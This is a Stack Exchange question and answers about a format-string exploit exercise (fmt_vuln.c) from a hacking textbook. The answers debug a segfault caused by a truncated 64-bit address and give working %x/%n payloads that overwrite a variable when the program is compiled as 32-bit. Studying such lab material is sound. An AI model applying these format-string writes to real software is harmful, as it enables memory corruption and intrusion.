I am studying from "Hacking: The Art of Exploitation" and in program fmt_vuln.c format string is exploited. I am getting Segmentation Fault error.

Checking position of AAAA on stack:

$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The right way to print user-controlled input:
The wrong way to print user-controlled input:
[*] test_val @ 0x555555755010 = -72 0xffffffb8

Witing to test_value address

$ ./fmt_vuln $(printf "\x10\x50\x75\x55")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
The right way to print user-controlled input:
The wrong way to print user-controlled input:
Segmentation fault (core dumped)

As suggested in this answer I have disabled ASLR and compiled without stack protection.

  • Maybe stack canaries?
    – Ricardo
    Jul 25, 2019 at 20:59
  • Questions on Stack Exchange sites must stand on their own; as this is in effect a debugging question it must include the actual code directly, not as a link. Jul 26, 2019 at 18:56

2 Answers 2


As @Chris Stratton already said, you don't give the right pointer value - you want to put \x10\x50\x75\x55\x55\x55\x00\x00 as that value. Your segfault comes from instruction:

mov dword [rax], r13d

where rax = 0x7838302555755010, which confirms that you need to put these 4 extra bytes (to overwrite 78383025 part). I do not know however how you can pass NULL bytes in bash as an argument.

As a workaround, you can compile this program for 32bit architecture using -m32 option in GCC. Then use:

./fmt_vuln AAAA%08x.%08x.%08x.%08x

to get:

[*] test_val @ 0x56557008 = -72 0xffffffb8

and then:

./fmt_vuln $(printf "\x08\x70\x55\x56")%08x.%08x.%08x.%n

and finally you get:

[*] test_val @ 0x56557008 = 31 0x0000001f

Note: when in doubt, just run your program in a debugger (I used radare2 for instance) - this way you can get the instruction causing segfault and you can see register values at that moment.


[*] test_val @ 0x555555755010 = -72 0xffffffb8

This shows us that you are on a 64 bit system.

$ ./fmt_vuln $(printf "\x10\x50\x75\x55")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n

Yet you attempt to supply only the low 32-bits as your pointer value. Whatever the value of the other 32-bits, they are overwhelmingly likely to be part of an invalid address.

This may not be the only thing wrong, but by itself it is a clear mistake.

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